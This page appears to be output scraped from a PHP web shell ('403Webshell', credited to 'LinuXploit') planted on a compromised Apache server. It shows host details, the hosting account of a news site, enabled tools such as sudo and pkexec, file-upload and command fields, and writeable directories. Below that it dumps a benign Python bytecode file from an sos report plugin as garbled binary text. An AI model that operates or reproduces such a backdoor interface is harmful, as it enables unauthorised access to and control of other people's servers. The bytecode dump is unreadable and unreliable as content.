403Webshell
Server IP : 77.50.203.18  /  Your IP : 192.168.0.10
Web Server : Apache/2.4.62 (CentOS Stream) OpenSSL/3.5.7 mpm-itk/2.4.7-04 PHP/8.4.23
System : Linux web2 5.14.0-722.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jul 6 09:07:51 UTC 2026 x86_64
User : warsnews.ru ( 1001)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3.9/site-packages/sos/report/plugins/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.9/site-packages/sos/report/plugins/__pycache__/clear_containers.cpython-39.pyc
a

ܓ�iU
�@s.ddlZddlmZmZGdd�dee�ZdS)�N)�Plugin�IndependentPluginc@sBeZdZdZdZdZdZefZdZdZ	dd�Z
d	d
�Zdd�ZdS)
�ClearContainersz'Intel(R) Clear Containers configurationZclear_containers)�systemZvirt�	containerz
cc-runtime)zcc-proxyNcCsVdg}|j�d�}|�|�d}|��D]}|dkr(|�|�q(t|�}|�|�dS)z' Collect Clear Containers config files z_/etc/clear-containers/configuration.toml/usr/share/defaults/clear-containers/configuration.tomlz --cc-show-default-config-paths�output�N)�runtime�exec_cmd�
splitlines�append�set�
add_copy_spec)�selfZconfig_files�cmdZconfigsZconfig�r�G/usr/lib/python3.9/site-packages/sos/report/plugins/clear_containers.py�collect_cc_config_filess�z'ClearContainers.collect_cc_config_filescCstdg}|j�d�}|�|�d}|��D]0}t�d|�}|r(|�d�}|rT|�|�qZq(t|�}|�||j	�dS)z$ Collect Clear Containers log files z-/var/lib/clear-containers/runtime/runtime.log� cc-envrz\bGlobalLogPath\b\s+=\s+"(.+)"�N)
r	r
r�re�search�grouprr
r�loglimit)rZ	log_filesrr�line�resultZglobal_logfilerrr�collect_cc_log_files/s�

z$ClearContainers.collect_cc_log_filescCsN|�d�|_|�d�rd|_|�|j�d��|��|��|jdd�dS)NZlog_sizeZall_logsrzcc-shim)Z
identifier)Z
get_optionrZadd_cmd_outputr	rrZadd_journal)rrrr�setupGs
zClearContainers.setup)
�__name__�
__module__�__qualname__Z
short_descZplugin_nameZprofilesr	ZpackagesZservicesrrrrrrrrr
sr)rZsos.report.pluginsrrrrrrr�<module>	s

Youez - 2016 - github.com/yon3zu
LinuXploit